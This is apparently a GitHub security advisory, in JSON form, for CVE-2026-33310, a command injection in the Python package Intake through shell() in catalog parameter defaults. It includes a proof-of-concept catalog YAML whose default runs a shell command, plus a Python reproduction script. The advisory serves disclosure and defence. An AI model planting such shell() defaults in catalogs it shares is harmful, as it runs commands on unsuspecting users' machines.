CVE-2026-33310: Intake Intake Has A Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-37g4-qqqv-7m99",
  "modified" : "2026-03-25T20:52:29Z",
  "published" : "2026-03-19T17:46:54Z",
  "aliases" : [ "CVE-2026-33310" ],
  "summary" : "Intake has a Command Injection via shell() Expansion in Parameter Defaults",
  "details" : "### Summary\nThe shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process.\nIf a catalog contains a parameter default such as shell(<command>), the command may be executed when the catalog source is accessed.\nThis means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system.\nThis behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.\n\n### Details\nThe issue appears to originate from how parameter default values are expanded when a catalog source is accessed.\n\nDuring catalog loading and source access:\n\nIntake resolves parameter default values\nThe function responsible for expanding defaults processes the shell() syntax\nThe shell expression triggers a subprocess execution\nBecause this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.\n\nAffected logic appears to involve:\n```\nexpand_defaults()\n```\nand related parameter parsing mechanisms.\n\n\n### PoC\nexploit.yaml\n```\nmetadata:\n  version: 1\nsources:\n  rce_test:\n    driver: csv\n    description: \"Testing shell expansion in parameters\"\n    args:\n      urlpath: \"{{ cmd_exec }}\"\n    parameters:\n      cmd_exec:\n        display_name: \"Test Parameter\"\n        type: str\n        default: \"shell(touch /tmp/intake_rce_test)\"\n```\n\nreproduce.py\n```\nimport intake\nimport os\n\nPROOF_FILE = \"/tmp/intake_rce_test\"\n\nif os.path.exists(PROOF_FILE):\n    os.remove(PROOF_FILE)\n\nprint(f\"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}\")\n\ntry:\n    cat = intake.open_catalog(\"exploit.yaml\")\n\n    print(\"Accessing source...\")\n    _ = cat[\"rce_test\"]\n\nexcept Exception as e:\n    print(f\" Error during execution: {e}\")\n\nif os.path.exists(PROOF_FILE):\n    print(f\" Command execution confirmed, Found: {PROOF_FILE}\")\nelse:\n    print(\"Command execution did not occur.\")\n```\n### Attack Scenario\nA potential attack scenario could be:\n\n1. An attacker publishes a malicious Intake catalog YAML file\n2. The victim downloads or loads the catalog\n3. The victim accesses a source entry in the catalog\n4. Parameter defaults are expanded\n5. The shell() expression triggers execution of the embedded command\n\n### Impact\n\nIf this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:\n\n- Git repositories\n- shared datasets\n- URLs\n- data science workflows\n- Any user loading the catalog could unknowingly execute commands with their local user privileges.\n\n### Recommendation\nPossible mitigations could include:\n\n- disabling shell() expansion by default\n- requiring an explicit opt-in flag (e.g., allow_shell=True)\n- restricting shell execution for catalogs loaded from untrusted sources\nPlease let me know if additional information or testing is needed.\nI'm happy to assist with further analysis or validation.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "intake"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.0.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/intake/intake/security/advisories/GHSA-37g4-qqqv-7m99"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33310"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/intake/intake/commit/d0c0b6b57c1cb3f73880655ded4a9b0e18e1fd1b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/intake/intake"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78", "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-19T17:46:54Z",
    "nvd_published_at" : "2026-03-24T14:16:30Z"
  }
}